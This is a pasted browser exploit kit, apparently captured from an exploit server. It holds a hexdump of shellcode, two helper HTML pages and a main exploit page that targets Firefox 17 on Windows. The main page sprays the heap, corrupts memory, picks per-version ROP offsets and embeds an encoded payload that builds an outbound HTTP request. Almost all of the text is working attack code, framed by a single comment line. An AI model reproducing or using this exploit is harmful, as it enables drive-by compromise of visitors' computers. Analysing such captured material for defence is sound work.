  835. // 0220 02 00 00 01 e8 2e 00 00 00 31 c0 50 51 29 cf 4f |.........1.PQ).O|
  836. // 0230 57 53 68 c2 eb 38 5f ff d5 53 68 75 6e 4d 61 ff |WSh..8_..ShunMa.|
  837. // 0240 d5 e9 c8 fe ff ff 31 c9 f7 d1 31 c0 f2 ae f7 d1 |......1...1.....|
  838. // 0250 49 c3 00 00 00 00 00 8d bd e9 02 00 00 e8 e4 ff |I...............|
  839. // 0260 ff ff 4f b9 4f 00 00 00 8d b5 75 02 00 00 f3 a4 |..O.O.....u.....|
  840. // 0270 8d bd e9 02 00 00 e8 cb ff ff ff c3 0d 0a 43 6f |..............Co|
  841. // 0280 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 |nnection: keep-a|
  842. // 0290 6c 69 76 65 0d 0a 41 63 63 65 70 74 3a 20 2a 2f |live..Accept: */|
  843. // 02a0 2a 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 |*..Accept-Encodi|
  844. // 02b0 6e 67 3a 20 67 7a 69 70 0d 0a 0d 0a 00 83 c7 0e |ng: gzip........|
  845. // 02c0 31 c9 f7 d1 31 c0 f3 ae 4f ff e7 0d 0a 43 6f 6f |1...1...O....Coo|
  846. // 02d0 6b 69 65 3a 20 49 44 3d 77 73 32 5f 33 32 00 49 |kie: ID=ws2_32.I|
  847. // 02e0 50 48 4c 50 41 50 49 00 02 00 00 50 41 de ca 36 |PHLPAPI....PA..6|
  848. // 02f0 47 45 54 20 2f 30 35 63 65 61 34 64 65 2d 39 35 |GET /05cea4de-95|
  849. // 0300 31 64 2d 34 30 33 37 2d 62 66 38 66 2d 66 36 39 |1d-4037-bf8f-f69|
  850. // 0310 30 35 35 62 32 37 39 62 62 20 48 54 54 50 2f 31 |055b279bb HTTP/1|
  851. // 0320 2e 31 0d 0a 48 6f 73 74 3a 20 00 00 00 00 00 00 |.1..Host: ......|
  852. // 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  853. // *
  854. // 03b0 00 00 00 00 00 00 00 00 00 00 00 90 |............|
  855. // 03bc
  856.  
  857. /****************************************************************************
  858. * The original files as obtained from the exploit server follow:
  859. */
  860.  
  861. //// "content_2.html"
  862. <html><body></body></html><script>var y="?????",url=window.location.href;if(0>url.indexOf(y)){var iframe=document.createElement("iframe");iframe.src="content_3.html";document.body.appendChild(iframe)}else parent.w();function df(){return parent.df()};</script>
  863.  
  864. //// "content_3.html"
  865. <script>var y="?????",z="",z=z+"<body",z=z+">",z=z+"<img",z=z+" height='1' width='1' src='error.html'",z=z+' onerror="javascript: ',z=z+("window.location.href='content_2.html"+y+"';\" "),z=z+">",z=z+"</body",z=z+">",flag=!1,var83=0;
  866. function b(){for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)e[c]=new ArrayBuffer(180);for(c=0;1024>c;c++)d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;return d}function a(){!1==flag&&(flag=!0,window.stop());window.stop();b();window.parent.frames[0].frameElement.ownerDocument.write(z);b()}var83=parent.df();0!=var83&&document.addEventListener("readystatechange",a,!1);
  867. </script>
  868.  
  869. //// main exploit
  870. <html>
  871. <body>
  872. <iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
  873. </body>
  874. </html>
  875.  
  876. <script>
  877.  
  878. var var1=0xB0;
  879. var var2 = new Array(var1);
  880. var var3 = new Array(var1);
  881. var var4 = new Array(var1);
  882.  
  883. var var5=0xFF004;
  884. var var6=0x3FC01;
  885.  
  886. var var7=0x60000000;
  887. var var8=0x18000000;
  888.  
  889.  
  890. var var9=1;
  891.  
  892. var var10 = 0x12000000;
  893. var var11 = 0;
  894. var var12=0;
  895.  
  896. var var13 =0;
  897.  
  898. function df()
  899. {
  900. if(var12==0)
  901. {
  902. return 0x00000000;
  903. }
  904. var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
  905.  
  906. if( var9 == 1 || var9 == 2)
  907. return ( var14 - var12);
  908. else
  909. return 0x00000000;
  910. }
  911.  
  912. function b()
  913. {
  914. var version = al();
  915. if(version <17)
  916. {
  917. window.location.href="content_1.html";
  918. }
  919. if( version >=17 && version <18 )
  920. var12 = 0xE8;
  921. return ;
  922. }
  923.  
  924. function c()
  925. {
  926. var iframe=document.getElementById("iframe");
  927. iframe.src="content_2.html";
  928. }
  929.  
  930. function d()
  931. {
  932. for(var j=0;j<var1;j++)
  933. {
  934. if( j<var1/8 || j==var1-1)
  935. {
  936. var tabb = new Array(0x1ED00);
  937. var4[j]=tabb;
  938. for(i=0;i<0x1ED00;i++)
  939. {
  940. var4[j][i]=0x11559944;
  941. }
  942. }
  943. var2[j]= new ArrayBuffer(var5);
  944. }
  945. for(var j=0;j<var1;j++)
  946. {
  947. var3[j]= new Int32Array(var2[j],0,var6);
  948. var3[j][0]=0x11336688;
  949.  
  950. for(var i=1;i<16;i++)
  951. {
  952. var3[j][0x4000*i] = 0x11446688;
  953. }
  954.  
  955. }
  956.  
  957. for(var j=0;j<var1;j++)
  958. {
  959. if(typeof var4[j] !="undefined")
  960. {
  961. var4[j][0]=0x22556611;
  962. }
  963. }
  964. }
  965.  
  966. function e(view)
  967. {
  968. var i=0;
  969. for(i=0;i<0x400;i++)
  970. {
  971. view[i] = var13+0x1010 ;
  972. }
  973. view[0x0]=var13+0x1010;
  974. view[0x44]=0x0;
  975. view[0x45]=0x0;
  976. view[0x400-4]=var13+0x1010;
  977. view[0x400]=0x00004004;
  978. view[0x401]=0x7FFE0300;
  979. }
  980.  
  981. function f(var15,view,var16)
  982. {
  983. var magneto = "";
  984. var magneto = ("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u302f\u6335"+"\u6165\u6434"+"\u2d65\u3539"+"\u6431\u342d"+"\u3330\u2d37"+"\u6662\u6638"+"\u662d\u3936"+"\u3530\u6235"+"\u3732\u6239"+"\u2062\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+"");
  985. var var29 = magneto;
  986. var var17 = "\u9060";
  987. var var18 = "\u9061";
  988. var var19 = "\uC481\u0000\u0008" ;
  989. var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
  990. var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
  991. var var22 = "\uE589";
  992. var var23 ="\uC3C9";
  993. var var24 = "\uE889";
  994. var24 += "\u608D\u90C0";
  995.  
  996. var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
  997. var var26 = var25 + var16*4
  998.  
  999. var var27 =""
  1000. var27 += "\uB890\u2020\u2020";
  1001. var27 += "\uA390"+ae(var26+0x00);
  1002. var27 += "\uA390"+ae(var26+0x04);
  1003. var27 += "\uA390"+ae(var26+0x08);
  1004. var27 += "\uA390"+ae(var26+0x0C);
  1005.  
  1006. var var28 = var17;
  1007. var28 += var20;
  1008. var28 += var19;
  1009. var28 += var22;
  1010. var28 += var27;
  1011. var28 += var29;
  1012. var28 += var21;
  1013. var28 += var18;
  1014. var28 += var23;
  1015. var var29Array = new Array();
  1016. var29Array=ag(var28);
  1017.  
  1018. var var29Ad = var13+0x5010;
  1019. var i=0;
  1020. var j=0;
  1021. var var30=var13+0x4048;
  1022. var var31 = new Array();
  1023.  
  1024. var31[0]=var30;
  1025. var31[1]=var30;
  1026. var31[2]=var30;
  1027. var31[3]=var15[1];
  1028. var31[4]=var29Ad;
  1029. var31[5]=0xFFFFFFFF;
  1030. var31[6]=var13+0x4044;
  1031. var31[7]=var13+0x4040;
  1032. var31[8]=0x00000040;
  1033. var31[9]=var13+0x4048;
  1034. var31[10]=0x00040000;
  1035. var31[11]=var29Ad;
  1036. var31[12]=var13+0x301C;
  1037.  
  1038. for(var i=0 ; i < 0x140 ; i++)
  1039. {
  1040. var31[i+15]=var15[0];
  1041. }
  1042. var var32 = 0x3F8;
  1043. view[0x800+0+var32]=var13+0x4018;
  1044. view[0x800+1+var32]=var13+0x4018;
  1045. for(var i=2 ; i < var31.length ; i++)
  1046. {
  1047. view[0x800+i+var32]= 0x41414141;
  1048. }
  1049. for(var i=0 ; i < var31.length ; i++)
  1050. {
  1051. view[0xC02+i+var32]= var31[i];
  1052. }
  1053. for(var i=0 ; i < var29Array.length ; i++)
  1054. {
  1055. view[0x1000 + i+var32] = var29Array[i];
  1056. }
  1057.  
  1058. }
  1059.  
  1060. function g(var50,view)
  1061. {
  1062. var k = h(var50,view);
  1063. var j=0;
  1064. if( k < 0 )
  1065. return -1;
  1066. view[0x404+k]=var13+0x3010;
  1067. return 1;
  1068. }
  1069.  
  1070. function h(var50,view)
  1071. {
  1072. var address=0;
  1073. var u=0;
  1074. var memory="";
  1075. var var55=0;
  1076. for( u =7; u >=4 ;u--)
  1077. {
  1078. address=view[0x404+u];
  1079. if( address > 0x000A0000 && address < 0x80000000 )
  1080. {
  1081. memory = i(address,0x48,var50,view);
  1082. var55=af(memory[0x14]+memory[0x15]);
  1083. if(var55==address)
  1084. {
  1085. return u;
  1086. }
  1087. }
  1088. }
  1089. return -1;
  1090. }
  1091.  
  1092. function i(address,size,var50,view)
  1093. {
  1094. var var56 = size/2;
  1095. var56 = var56*0x10 +0x04;
  1096. view[0x400]=var56;
  1097. view[0x401]=address;
  1098. return var4[var50][0];
  1099. }
  1100.  
  1101. function j(memory,view)
  1102. {
  1103. var intArray=ag(memory);
  1104. for(var i=0 ; i < intArray.length ; i++)
  1105. {
  1106. view[0x404+i]=intArray[i];
  1107. }
  1108. }
  1109.  
  1110. function k()
  1111. {
  1112. for(var j=0;j<var1;j++)
  1113. {
  1114. if(var2[j].byteLength!=var5)
  1115. {
  1116. return j;
  1117. }
  1118. }
  1119. return -1;
  1120. }
  1121.  
  1122. function l(view,var58)
  1123. {
  1124. view[var58] = var13 + 0x1030;
  1125. view[var58+1] = 0xFFFFFF85;
  1126. }
  1127.  
  1128. function m(view,var58)
  1129. {
  1130. view[var58]=0x00000000;
  1131. for(var j=0;j<var1;j++)
  1132. {
  1133. if(typeof var4[j] !="undefined")
  1134. {
  1135. if(var4[j][0]!=0x22556611)
  1136. return j;
  1137. }
  1138. }
  1139. return -1
  1140. }
  1141.  
  1142. function n(view,firstvar58)
  1143. {
  1144. var var57 = var10 + 0x00100000 + 0x00010000 * var11;
  1145. var var58=0;
  1146. for(var i=0;i<200;i++)
  1147. {
  1148. if(view[var58] != 0x11336688)
  1149. {
  1150. if(view[var58] == 0x22556611 )
  1151. return var58;
  1152. else
  1153. return -1;
  1154. }
  1155. if(var58==0)
  1156. {
  1157. var58 = firstvar58;
  1158. }else{
  1159. var var59=view[var58-0x0C];
  1160. var58 = (var59 - var57)/4;
  1161. }
  1162. }
  1163. return -1;
  1164. }
  1165.  
  1166. function o(var60)
  1167. {
  1168. var view = new Int32Array(var2[var60],0,0x00040400);
  1169.  
  1170. var var59 = view[0x00100000/4-0x0C];
  1171. var var57 = var10 + 0x00100000 + 0x00010000 * var11;
  1172.  
  1173. return ((var59 - var57)/4);
  1174. }
  1175.  
  1176. function p()
  1177. {
  1178. for(var j=0;j<var1;j++)
  1179. {
  1180. for(var i=1;i<16;i++)
  1181. {
  1182. if(var3[j][i*0x4000-0x02]==0x01000000)
  1183. {
  1184. return -i;
  1185. }
  1186. }
  1187. }
  1188. return 0;
  1189. }
  1190.  
  1191. function q(var60)
  1192. {
  1193. var view = new Int32Array(var2[var60],0,0x00040400);
  1194. view[0x00100000/4-0x02]=var7;
  1195. if(var2[var60+1].byteLength==var7)
  1196. return var60+1;
  1197. return -1;
  1198. }
  1199.  
  1200. function r(var60)
  1201. {
  1202. var view = new Int32Array(var2[var60],0,0x00040400);
  1203. view[0x00100000/4-0x02]=var5;
  1204. }
  1205.  
  1206. function t()
  1207. {
  1208. if(typeof sessionStorage.tempStor !="undefined")
  1209. return false;
  1210. sessionStorage.tempStor="";
  1211. return true;
  1212. }
  1213.  
  1214. function u()
  1215. {
  1216. if( t() == true )
  1217. {
  1218. var9 = 1;
  1219. b();
  1220. d();
  1221. c();
  1222. }else{
  1223. return ;
  1224. }
  1225. }
  1226.  
  1227. function v()
  1228. {
  1229. if(k() == -1)
  1230. {
  1231. var11 = p();
  1232. var9 = 2;
  1233. c();
  1234. }else{
  1235. x();
  1236. }
  1237. }
  1238.  
  1239. function w()
  1240. {
  1241. if(var9==1)
  1242. v();
  1243. else
  1244. x();
  1245. }
  1246.  
  1247. function x()
  1248. {
  1249.  
  1250. var var60 = k();
  1251. if(var60==-1)
  1252. return ;
  1253.  
  1254. var nextvar60 = q(var60);
  1255. if(nextvar60==-1)
  1256. return ;
  1257.  
  1258. var var61 = o(var60);
  1259. var var62 = new Int32Array(var2[nextvar60],0,var8);
  1260. var var58 = n(var62,var61);
  1261. if(var58==-1)
  1262. return ;
  1263.  
  1264. var var50 = m(var62,var58);
  1265.  
  1266. var13 = var10 + 0x00100000 + 0x00010000 * var11;
  1267. e(var62);
  1268.  
  1269. l(var62,var58);
  1270.  
  1271. var var64 = var4[var50][0];
  1272.  
  1273. ac(var64,var50,var62,var58,var60);
  1274. }
  1275.  
  1276. function y(index)
  1277. {
  1278. var4[index][1]= document.createElement('span') ;
  1279. }
  1280.  
  1281. function z(index,index2)
  1282. {
  1283. var4[index][1].innerHTML;
  1284. }
  1285.  
  1286. function aa(view,var63)
  1287. {
  1288. return view[var63];
  1289. }
  1290.  
  1291. function ab(address,view,var63)
  1292. {
  1293. view[var63]=address;
  1294. }
  1295.  
  1296.  
  1297. function ac(var64,var50,var62,var58,var60)
  1298. {
  1299. var var15=ah(var64);
  1300.  
  1301. f(var15,var62,var58);
  1302.  
  1303. y(var50);
  1304. var var66 = aa(var62,var58+2);
  1305.  
  1306. var var67 = i(var66,0x40,var50,var62) ;
  1307. j(var67,var62);
  1308.  
  1309. g(var50,var62);
  1310. ab(var13+0x1040 ,var62,var58+2);
  1311.  
  1312. r(var60)
  1313. setTimeout(ad,1000);
  1314. z(var50);
  1315. }
  1316.  
  1317.  
  1318. function ad()
  1319. {
  1320. for(var j=0;j<var1;j++)
  1321. {
  1322. delete var3[j]
  1323. var3[j]= null;
  1324.  
  1325. delete var2[j];
  1326. var2[j] = null;
  1327.  
  1328. if(typeof var4[j] !="undefined")
  1329. {
  1330. delete var4[j];
  1331. var4[j] = null;
  1332. }
  1333. }
  1334. delete var2;
  1335. delete var3;
  1336. delete var4;
  1337. var2=null;
  1338. var3=null;
  1339. var4=null;
  1340. }
  1341.  
  1342. function ae(int32)
  1343. {
  1344. var var68 = String.fromCharCode((int32)& 0x0000FFFF);
  1345. var var69 = String.fromCharCode((int32 >> 16) & 0x0000FFFF);
  1346. return var68+var69;
  1347. }
  1348.  
  1349.  
  1350. function af(string)
  1351. {
  1352. var var70 = string.charCodeAt(0);
  1353. var var71 = string.charCodeAt(1);
  1354. var var72 = (var71 << 16) + var70;
  1355. return var72;
  1356. }
  1357.  
  1358. function ag(string)
  1359. {
  1360. if(string.length%2!=0)
  1361. string+="\u9090";
  1362. var intArray= new Array();
  1363. for(var i=0 ; i*2 < string.length; i++ )
  1364. intArray[i]=af(string[i*2]+string[i*2+1]);
  1365. return intArray;
  1366. }
  1367.  
  1368.  
  1369. function ah(var73)
  1370. {
  1371. var var74 = var73.substring(0,2);
  1372. var var70 = var74.charCodeAt(0);
  1373. var var71 = var74.charCodeAt(1);
  1374. var var75 = (var71 << 16) + var70;
  1375. if (var75 == 0)
  1376. {
  1377. var var76 = var73.substring(32, 34);
  1378. var var70 = var76.charCodeAt(0);
  1379. var var71 = var76.charCodeAt(1);
  1380. var75 = (var71 << 16) + var70;
  1381. }
  1382. var var15 = am(var75);
  1383. if (var15 == -1)
  1384. {
  1385. return;
  1386. }
  1387. return var15
  1388. }
  1389.  
  1390. function aj(version)
  1391. {
  1392. var i = navigator.userAgent.indexOf("Windows NT");
  1393. if (i != -1)
  1394. return true;
  1395. return false;
  1396. }
  1397.  
  1398. function ak()
  1399. {
  1400. var ua = navigator.userAgent;
  1401. var browser = ua.substring(0, ua.lastIndexOf("/"));
  1402. browser = browser.substring(browser.lastIndexOf(" ") + 1);
  1403. if (browser != "Firefox")
  1404. return -1;
  1405.  
  1406. var version = ua.substring(ua.lastIndexOf("/") + 1);
  1407. version = parseInt(version.substring(0, version.lastIndexOf(".")));
  1408. return version;
  1409. }
  1410.  
  1411. function al()
  1412. {
  1413. version = ak();
  1414.  
  1415. if (!aj(version))
  1416. return -1;
  1417. return version;
  1418. }
  1419.  
  1420.  
  1421. function am(var77)
  1422. {
  1423. var var15 = new Array(2);
  1424. if (var77 % 0x10000 == 0xE510)
  1425. {
  1426. var78 = var77 - 0xE510;
  1427. var15[0] = var78 + 0xE8AE;
  1428. var15[1] = var78 + 0xD6EE;
  1429. }
  1430. else if (var77 % 0x10000 == 0x9A90)
  1431. {
  1432. var78 = var77 - 0x69A90;
  1433. var15[0] = var78 + 0x6A063;
  1434. var15[1] = var78 + 0x68968;
  1435. }
  1436. else if (var77 % 0x10000 == 0x5E70)
  1437. {
  1438. var78 = var77 - 0x65E70;
  1439. var15[0] = var78 + 0x66413;
  1440. var15[1] = var78 + 0x64D34;
  1441. }
  1442. else if (var77 % 0x10000 == 0x35F3)
  1443. {
  1444. var78 = var77 - 0x335F3;
  1445. var15[0] = var78 + 0x4DE13;
  1446. var15[1] = var78 + 0x49AB8;
  1447. }
  1448. else if (var77 % 0x10000 == 0x5CA0)
  1449. {
  1450. var78 = var77 - 0x65CA0;
  1451. var15[0] = var78 + 0x66253;
  1452. var15[1] = var78 + 0x64B84;
  1453. }
  1454. else if (var77 % 0x10000 == 0x5CD0)
  1455. {
  1456. var78 = var77 - 0x65CD0;
  1457. var15[0] = var78 + 0x662A3;
  1458. var15[1] = var78 + 0x64BA4;
  1459.  
  1460. }
  1461. else if (var77 % 0x10000 == 0x6190)
  1462. {
  1463. var78 = var77 - 0x46190;
  1464. var15[0] = var78 + 0x467D3;
  1465. var15[1] = var78 + 0x45000;
  1466.  
  1467. }
  1468. else if (var77 % 0x10000 == 0x9CB9)
  1469. {
  1470. var78 = var77 - 0x29CB9;
  1471. var15[0] = var78 + 0x29B83;
  1472. var15[1] = var78 + 0xFFC8;
  1473. }
  1474. else if (var77 % 0x10000 == 0x9CE9)
  1475. {
  1476. var78 = var77 - 0x29CE9;
  1477. var15[0] = var78 + 0x29BB3;
  1478. var15[1] = var78 + 0xFFD8;
  1479. }
  1480. else if (var77 % 0x10000 == 0x70B0)
  1481. {
  1482. var78 = var77 - 0x470B0;
  1483. var15[0] = var78 + 0x47733;
  1484. var15[1] = var78 + 0x45F18;
  1485. }
  1486. else if (var77 % 0x10000 == 0x7090)
  1487. {
  1488. var78 = var77 - 0x47090;
  1489. var15[0] = var78 + 0x476B3;
  1490. var15[1] = var78 + 0x45F18;
  1491. }
  1492. else if (var77 % 0x10000 == 0x9E49)
  1493. {
  1494. var78 = var77 - 0x29E49;
  1495. var15[0] = var78 + 0x29D13;
  1496. var15[1] = var78 + 0x10028;
  1497. }
  1498. else if (var77 % 0x10000 == 0x9E69)
  1499. {
  1500. var78 = var77 - 0x29E69;
  1501. var15[0] = var78 + 0x29D33;
  1502. var15[1] = var78 + 0x10018;
  1503. }
  1504.  
  1505. else if (var77 % 0x10000 == 0x9EB9)
  1506. {
  1507. var78 = var77 - 0x29EB9;
  1508. var15[0] = var78 + 0x29D83;
  1509. var15[1] = var78 + 0xFFC8;
  1510. }
  1511. else
  1512. {
  1513. return -1;
  1514. }
  1515.  
  1516. return var15;
  1517. }
  1518.  
  1519. window.addEventListener("onload", u(),true);
  1520.  
  1521. </script>
Add Comment
Please, Sign In to add comment